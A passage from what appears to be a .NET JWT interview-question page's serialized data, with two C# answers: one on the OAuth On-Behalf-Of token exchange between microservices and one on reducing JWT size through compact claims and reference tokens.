scheme.\n",{"id":248,"difficulty":64,"q":249,"a":250},"jwt-delegation-pattern","What is the on-behalf-of (OBO) flow and when do you use it in a microservices architecture?","The **On-Behalf-Of (OBO)** flow (OAuth 2.0 Token Exchange) lets a service exchange a\nuser's access token for a new token scoped to a downstream service — propagating the\nuser's identity through a chain of microservices without sharing the original token.\n\n```csharp\n\u002F\u002F Scenario: Client → Service A (receives token for aud=api-a)\n\u002F\u002F           Service A → Service B (needs token for aud=api-b, still as the user)\n\n\u002F\u002F Service A calls Azure AD OBO endpoint to exchange its token:\npublic class DownstreamTokenService\n{\n    private readonly IHttpClientFactory _httpFactory;\n    private readonly IConfiguration    _config;\n\n    public DownstreamTokenService(IHttpClientFactory http, IConfiguration config)\n    {\n        _httpFactory = http;\n        _config      = config;\n    }\n\n    public async Task\u003Cstring> GetTokenForServiceBAsync(string incomingAccessToken)\n    {\n        var client = _httpFactory.CreateClient();\n\n        \u002F\u002F OBO grant — exchange the incoming token for a downstream token:\n        var response = await client.PostAsync(\n            $\"https:\u002F\u002Flogin.microsoftonline.com\u002F{_config[\"AzureAd:TenantId\"]}\u002Foauth2\u002Fv2.0\u002Ftoken\",\n            new FormUrlEncodedContent(new Dictionary\u003Cstring, string>\n            {\n                [\"grant_type\"]            = \"urn:ietf:params:oauth:grant-type:jwt-bearer\",\n                [\"client_id\"]             = _config[\"AzureAd:ClientId\"]!,\n                [\"client_secret\"]         = _config[\"AzureAd:ClientSecret\"]!,\n                [\"assertion\"]             = incomingAccessToken, \u002F\u002F the token Service A received\n                [\"scope\"]                 = \"api:\u002F\u002Fservice-b\u002F.default\",\n                [\"requested_token_use\"]   = \"on_behalf_of\",\n            }));\n\n        var json = await response.Content.ReadFromJsonAsync\u003CJsonElement>();\n        return json.GetProperty(\"access_token\").GetString()!;\n    }\n}\n\n\u002F\u002F In Service A's controller — get the incoming token and exchange it:\n[HttpGet(\"aggregate\")]\n[Authorize]\npublic async Task\u003CIActionResult> Aggregate()\n{\n    \u002F\u002F Read the incoming Bearer token from the request header:\n    var incomingToken = Request.Headers.Authorization.ToString()[\"Bearer \".Length..];\n    var serviceBToken = await _downstreamTokenService.GetTokenForServiceBAsync(incomingToken);\n\n    \u002F\u002F Call Service B with the new token:\n    _httpClient.DefaultRequestHeaders.Authorization =\n        new AuthenticationHeaderValue(\"Bearer\", serviceBToken);\n    var result = await _httpClient.GetAsync(\"https:\u002F\u002Fservice-b\u002Fapi\u002Fdata\");\n    return Ok(await result.Content.ReadAsStringAsync());\n}\n```\n\n**Rule of thumb:** Use OBO when you need to propagate the end-user's identity through\nservice-to-service calls. If the downstream call does not need user context (it is a\nbackground\u002Fsystem call), use client credentials instead — OBO adds unnecessary token\nexchange overhead for system-to-system scenarios.\n",{"id":252,"difficulty":35,"q":253,"a":254},"jwt-size-performance","How does JWT size affect performance and what can you do to keep tokens small?","Every HTTP request carries the JWT in the `Authorization` header. Large tokens increase\nheader size, add Base64 decoding overhead, and can exceed web server header limits.\nCommon causes are too many claims and verbose claim names.\n\n```csharp\n\u002F\u002F Problem — bloated token with long claim names and many values:\nvar claims = new[]\n{\n    new Claim(\"http:\u002F\u002Fschemas.xmlsoap.org\u002Fws\u002F2005\u002F05\u002Fidentity\u002Fclaims\u002Fnameidentifier\", userId),\n    new Claim(\"http:\u002F\u002Fschemas.xmlsoap.org\u002Fws\u002F2005\u002F05\u002Fidentity\u002Fclaims\u002Femailaddress\", email),\n    new Claim(\"http:\u002F\u002Fschemas.microsoft.com\u002Fws\u002F2008\u002F06\u002Fidentity\u002Fclaims\u002Frole\", \"Admin\"),\n    new Claim(\"http:\u002F\u002Fschemas.microsoft.com\u002Fws\u002F2008\u002F06\u002Fidentity\u002Fclaims\u002Frole\", \"Editor\"),\n    \u002F\u002F ... 20 more role claims ...\n    \u002F\u002F Result: token ~2 KB, repeated on every request\n};\n\n\u002F\u002F Better — short registered claim names (sub, email) + compact custom names:\nvar claims = new[]\n{\n    new Claim(JwtRegisteredClaimNames.Sub,   userId),   \u002F\u002F \"sub\"\n    new Claim(JwtRegisteredClaimNames.Email, email),    \u002F\u002F \"email\"\n    new Claim(\"roles\", \"Admin,Editor\"),                 \u002F\u002F one claim, comma-joined\n    \u002F\u002F Or embed only a role ID; resolve permissions server-side via cache\n};\n\n\u002F\u002F Clear the default long-name mapping so short names survive round-tripping:\nJwtSecurityTokenHandler.DefaultInboundClaimTypeMap.Clear();\n\u002F\u002F Note: after clearing, read with the short name: User.FindFirstValue(\"sub\")\n\n\u002F\u002F For high-traffic APIs — omit non-essential claims from the access token:\n\u002F\u002F Put display name, preferences, etc. in the ID token (OIDC) — not the access token.\n\u002F\u002F Access token should carry only what authorization decisions need:\n\u002F\u002F sub, roles\u002Fpermissions, aud, exp — nothing more.\n\n\u002F\u002F When claims are unavoidably large — use reference tokens (opaque IDs):\n\u002F\u002F Issue a random opaque token; store claims server-side in a fast cache (Redis).\n\u002F\u002F Validate by looking up the token ID — one cache hit per request instead of large header.\n\u002F\u002F Trade-off: stateful, but headers stay tiny regardless of claim count.\n```\n\n**Rule of thumb:** Access tokens should carry only what is needed for authorization —\nsubject, audience, expiry, and roles or permissions. Target under 512 bytes. Move\nprofile data to the ID token or a \u002Fuserinfo endpoint, and use short registered claim names.\n",{"description":32},"JWT interview questions — token structure, bearer authentication, TokenValidationParameters, token generation, refresh rotation, and security vulnerabilities.","dotnet\u002Fsecurity\u002Fjwt-tokens","JWT Tokens","R8EHsAmMo7bcAbTLdtw4ScVX8bauVPjW5wmaATB1yAE",1782244097542]